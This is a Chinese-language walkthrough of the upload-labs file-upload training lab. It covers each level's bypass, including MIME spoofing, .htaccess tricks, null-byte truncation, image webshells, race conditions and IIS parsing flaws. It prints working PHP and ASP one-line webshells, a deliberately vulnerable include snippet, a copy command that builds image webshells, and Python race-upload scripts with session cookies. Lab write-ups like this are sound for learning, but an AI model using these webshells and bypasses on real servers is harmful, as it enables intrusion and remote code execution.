Upload-libs通关详解
Uplo ad-labs—详解
1前端验证绕过

前端验证绕过可以直接用burp万能绕过前端JS脚本
方法先上传一张jpg
Burp改包然后改后缀
上传成功
2Content-Type方式绕过
此绕过方式是将mimi也就是说文件后缀
我们此时选择上传图片抓包

发现content——tpype为image/jpeg
接下来我们上传1.php将content-type改为和图片一样的上传
然后发现上传成功

3黑名单绕过

这一关是另类的文件名的绕过,可以尝试phtml,php3,php4, php5, pht后缀名都可以绕过,但是前提是要在配置文件里面有这样的一句话
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

这是文件源码不能这些是黑名单
当然还有方法二
构造.htaccess
实现重写文件解析,同样这样的前提也是得在配置文件里面有这样的一句话
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so
看一下百度对htaccess的理解
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
我个人理解的意思就是,把SetHandler application/x-httpd-php 这句话写成.htaccess,然后上传个jpg,它就当php解析了
cmd制作文件方式,先把这句话写到1.txt,然后ren 1.txt .htaccess,然后就制作好了,先上传这个,然后把php改成jpg上传
访问页面发现没有回显,说明解析成功
这里我们需要注意

关键字要和你的图片马一样 比如我hatccess文件里面是tony
我图片马名称就是tony

然后利用hackbar传参来控制,先pwd看一下所在的位置
然后ls到上层寻找
找到文件,cat一下,然后在源代码里面就能看到了
一开始没有回显以为失败了,结果在源码里
那么问题来了
此时菜刀应该连接tony.php 还是tony.jpg呐
答案如图

然后成功
4.htaccess绕过

可以知道方法三的那些php5 ptml都不行了
只能用.htaccess绕过了
此方法在方法3的第二方案讲了



成功上传
5后缀大小写绕过


只有用大小写绕过
但是我觉得这个应该是情况而定吧 你遇到的不一定就是Php就行的
所以多尝试
各种尝试

访问成功
6文件后缀(空)绕过

这里我们不就不能用大小写后缀绕过
加了全部转换为小写

此时大家别像我一样 在win里面给文件加空格后缀 主要是我之前还加了好久 哈哈
直接上传抓包 然后burp改包一键上传就OK

成功上传
7文件后缀名.绕过

大家仔细观察
可以看见和第六题相比此次少了

这个因此我们可以BP抓包加·绕过

This is succeeful
8 ::$DATA(Windows文件流绕过)
查看源码
还是黑名单,但是没有对后缀名进行去”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过:
之前代码都有除去字符串
但是这里没有


成功绕过
9构造文件后缀绕过
str_replace
这个函数大家不陌生吧
可想而知
他先删除一个点
再删除一个空格

大家可以发现
成功绕过了
. .(点加空格加点)
10双写文件后缀绕过

查看源码
$file_name = trim($_FILES['upload_file']['name']);//定义name
$file_name = str_ireplace($deny_ext,"", $file_name);//替换上面的php这些为空
找出关键代码
好
这个很熟悉了吧
Sql双写绕过

由于php特殊
所以双写也得讲道理所以构造下面
pphphp

OK I am winner
11%00截断绕过。

看源码发现是白名单

但是我们发现ima-path直接拼接 因此可以%00绕过
这个时候可以使用%00截断,但这东西有点过气了,因为需要两个条件
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
如果要完成这一个题目就必须要实现上面的两个条件,但是现在都PHP7了,这东西也就很少见了,满足上面的条件的时候php就是把它当成结束符,后面的数据直接忽略,这也导致了很多的问题,文件包含也可以利用这一点
所以如果要绕过,我们可以这样去实现,另save_path等于下面的值
但是现在PHP大多数多高于这个版本了

截断时候一定要万分注意%00后面加空格一定要
12%00截断2
这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。

找到参数后 后面用二进制工具
9.php%00
13图片马
查看源码

发现对文件头进行了处理
并以此判断文件类型
我们可以制作图片马进行上传


注意这里的图片必须是真图片copy下来才能绕过验证
这是我们简单写的一个文件包含
<?php
$file = $_GET[ 'page' ];
include($file);
?>

这样采访才能成功
所以图片木马必须配合文件包含漏洞才能使用

14getimagesize图片类型绕过
查看源码

这里利用了getimagesize
rray getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字
和13一样构造图片马上传 同时需要文件包含漏洞
15关php_exif模块图片类型绕过
查看源码


$image_type = exif_imagetype($filename);
这是新加的函数
和13关一样的绕过方法
16二次渲染绕过
查看源码

抓包看上传后图片的那些部分被截取那些没有被截取 然后在讲代码插入未被截取的部分

然后也是文件包含漏洞
同样需要
17条件竞争绕过
查看源码
$temp_file = $_FILES['upload_file']['tmp_name'];//存储在服务器的文件的临时副本的名称
当我们上传web shell文件时,不会先限制php类型文件上传,先利用上面的语句把上传的文件临时存放。再执行下面的if语句进行文件类型的限制和文件名的时间戳。然后执行if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹
绕过思路是利用代码执行过程有耗费时间的过程。临时webshell文件保存的极短时间,去访问webshell。获取一些信息
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell。会有一瞬间的访问成功
python脚本:
# coding:utf-8
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST / HTTP/1.1
Host: http://localhost:8088/upload-labs-master/Pass-17/index.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://108.160.142.252:9001/
Content-Type: multipart/form-data; boundary=---------------------------19988116922523
Content-Length: 2196
Cookie: csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------19988116922523
Content-Disposition: form-data; name="upload_file"; filename="damaxiao.php"
Content-Type: application/octet-stream
<?php assert($_POST["a"])?>
-----------------------------19988116922523
Content-Disposition: form-data; name="submit"
ä¸ä¼
-----------------------------19988116922523--
"""
code, head, html, redirect, log = hh.http('http://108.160.142.252:9001/', raw=raw)
print(str(code) + "\r")
pool = ThreadPool(20)
pool.map(upload, range(10000))
pool.close()
pool.join()
request模块
import requests
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
import sys
reload(sys)
sys.setdefaultencoding('utf8')
url = 'http://localhost:8088/upload-labs-master/Pass-17/index.php'
def upload():
file = {
'file': open('damaxiao.php','rb')
}
header = {
'Host': '108.160.142.252:9001',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg; aM3_sid=s98M8S',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
# def keepreq():
r = requests.post(url,files=file)
print(str(r.status_code) + "\r")
pool = ThreadPool(20)
pool.map(upload(), range(10000))
pool.close()
pool.join()
https://blog.csdn.net/u011377996/article/details/86776198
我也不是很懂嘛
18条件竞争2()
同17
19(CVE-2015-2348 move_uploaded_file() 00截断)
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败!';
}
CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的
发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过:
利用方式:
利用成功


后面加一个空格便是绕过了不知道为什么这么神奇
20IIS6.0解析漏洞
我们先查看源码

http://www.php.cn/php-weizijiaocheng-402602.html

这个函数是按
https://www.cnblogs.com/kenshinobiy/p/7782910.html
http://www.w3school.com.cn/php/func_array_in_array.asp

先按.将文件名称分割
在

大概意思就是解析漏洞

成功上传
21IIS文件名解析
学渗透一定要动手操作,一个简单的动作重复N遍以上就能学会了。
最近在学习一句话木马的使用,加上中国菜刀,真是个居家旅行的必备技能。举例说asp的一句话:
<%execute request(chr(97))%>
a就是连接密码了。(一定要写对chr(97),我看着书写char(97)被坑了一下午...还以为是服务器设置问题)。但是今天我练习的时候遇到了只能上传图片的漏洞,然后就去网上找姿势,就学习了IIS6.0的解析漏洞了。
我的练习环境是windows 2003的IIS6.0,这个版本有两个解析漏洞:
1、在网站目录中如果存在名为*.asp、*.asa的目录,那该目录内的任何文件都会被IIS解析为asp文件并执行。
2、在上传图片木马的时候,将文件名改为*.asp;.jpg,该文件文件都会被IIS解析为asp文件并执行。
第一个漏洞测试成功了,在网站目录下创建了一个1.asp目录,在目录下上传了内容为<%execute request(chr(97))%>但文件名为cmd.jpg的”图像“文件,用菜刀成功连接。
第二个漏洞同理,不同的只是之间建立一个同样内容的cmd.asp;.jpg文件。
至于制作asp图片木马,今天学到了一个copy拼接的方法:
准备一张图片(尽可能小点吧,10k左右?对加载应该有影响),命名为1.jpg
写asp一句话木马,命名为1.asp
打开cmd,执行COPY 1.jpg /b + 1.asp /a asp.jpg拼接得到asp.jpg即时asp图片木马了。【/b表示指定一个二进制文件,/a表示指定一个ASCII文件】
22IIS目录解析如上
切记 学习之路 少就是多 慢就是快
Upload-libs通关详解的更多相关文章
- QT .pro文件 LIBS用法详解
在程序中需要使用到团队其它成员开发的静态库和动态库,起初是知道使用LIBS变量在在.pro文件中指定需要包含的库,但是实际使用的时候却遇到很大麻烦,但其实确实是因为自己看官方文档不太用心造成的. 下面 ...
- Uploadify 上传文件插件详解
Uploadify 上传文件插件详解 Uploadify是JQuery的一个上传插件,实现的效果非常不错,带进度显示.不过官方提供的实例时php版本的,本文将详细介绍Uploadify在Aspnet中 ...
- Android高效率编码-第三方SDK详解系列(二)——Bmob后端云开发,实现登录注册,更改资料,修改密码,邮箱验证,上传,下载,推送消息,缩略图加载等功能
Android高效率编码-第三方SDK详解系列(二)--Bmob后端云开发,实现登录注册,更改资料,修改密码,邮箱验证,上传,下载,推送消息,缩略图加载等功能 我的本意是第二篇写Mob的shareSD ...
- Windows 7操作系统下PHP 7的安装与配置(图文详解)
前提博客 Windows 7操作系统下Apache的安装与配置(图文详解) 从官网下载 PHP的官网 http://www.php.net/ 特意,新建这么一个目录 ...
- C#开发BIMFACE系列46 服务端API之离线数据包下载及结构详解
BIMFACE二次开发系列目录 [已更新最新开发文章,点击查看详细] 在前一篇博客<C#开发BIMFACE系列45 服务端API之创建离线数据包>中通过调用接口成功的创建一个离线数 ...
- 手游录屏直播技术详解 | 直播 SDK 性能优化实践
在上期<直播推流端弱网优化策略 >中,我们介绍了直播推流端是如何优化的.本期,将介绍手游直播中录屏的实现方式. 直播经过一年左右的快速发展,衍生出越来越丰富的业务形式,也覆盖越来越广的应用 ...
- 3.awk数组详解及企业实战案例
awk数组详解及企业实战案例 3.打印数组: [root@nfs-server test]# awk 'BEGIN{array[1]="zhurui";array[2]=" ...
- Memcached集群/分布式/高可用 及 Magent缓存代理搭建过程 详解
当网站访问量达到一定时,如何做Memcached集群,又如何高可用,是接下来要讨论的问题. 有这么一段文字来描述“Memcached集群” Memcached如何处理容错的? 不处理!:) 在memc ...
- Struts2拦截器的使用 (详解)
Struts2拦截器的使用 (详解) 如何使用struts2拦截器,或者自定义拦截器.特别注意,在使用拦截器的时候,在Action里面必须最后一定要引用struts2自带的拦截器缺省堆栈default ...
随机推荐
- js数据结构-链表
链表和数组 大家都用过js中的数组,数组其实是一种线性表的顺序存储结构,它的特点是用一组地址连续的存储单元依次存储数据元素.而它的缺点也正是其特点而造成,比如对数组做删除或者插入的时候,可能需要移动大 ...
- 用纯 CSS 创作一个在容器中反弹的小球
效果预览 在线演示 按下右侧的"点击预览"按钮可以在当前页面预览,点击链接可以全屏预览. https://codepen.io/comehope/pen/jKVbyE 可交互视频教 ...
- 关于Android studio调用高德地图的简单流程和要点
一,账号与Key的申请 注册成为高德开发者需要分三步: 第一步,注册高德开发者:第二步,去控制台创建应用:第三步,获取Key. 前2步都比较简单,这里说下第三步. 获取Key 1.进入控制台,创建一个 ...
- c# ListView 简单操作
1. 添加数据 listView1.Items.Clear(); for (int i = 0; i < 50; i++) { ListViewItem lv = new ListViewIte ...
- 网速监控-nload
用来监控系统网卡实时网速的. 安装 yum install nload -y # 或 apt install nload -y 使用 # 直接运行默认监控第一个网卡, 使用上下方向键来切换网卡. nl ...
- 06 Django之模型层---多表操作
一 创建模型 表和表之间的关系 一对一.多对一.多对多 ,用book表和publish表自己来想想关系,想想里面的操作,加外键约束和不加外键约束的区别,一对一的外键约束是在一对多的约束上加上唯一约束. ...
- python time,calendar,datetime
time sleep:休眠指定的秒数(可以是小数) localtime:将一个时间戳转换为time.struct_time类型的对象(类似于元组) # 将一个时间戳转换为一个类似于元组的对象,不指定时 ...
- js单选和全选
列子: //拿到选中的单选框 一.var objs = $(".detail") for(var obj in objs){ var isCheck = obj.is(':chec ...
- 织梦DedeCMS栏目列表常见序号的调用标签
我们在制作dedecms模板时,源代码中的[field:global name=autoindex/]标签很好用可以调用数字序号,此标签最简单的用法就是按内容条数来获取数字序号,但有的时候发现使用该标 ...
- linux命令详解——umask
当我们登录系统之后创建一个文件总是有一个默认权限的,那么这个权限是怎么来的呢?这就是umask干的事情.umask设置了用户创建文件的默认 权限,它与chmod的效果刚好相反,umask设置的是权限& ...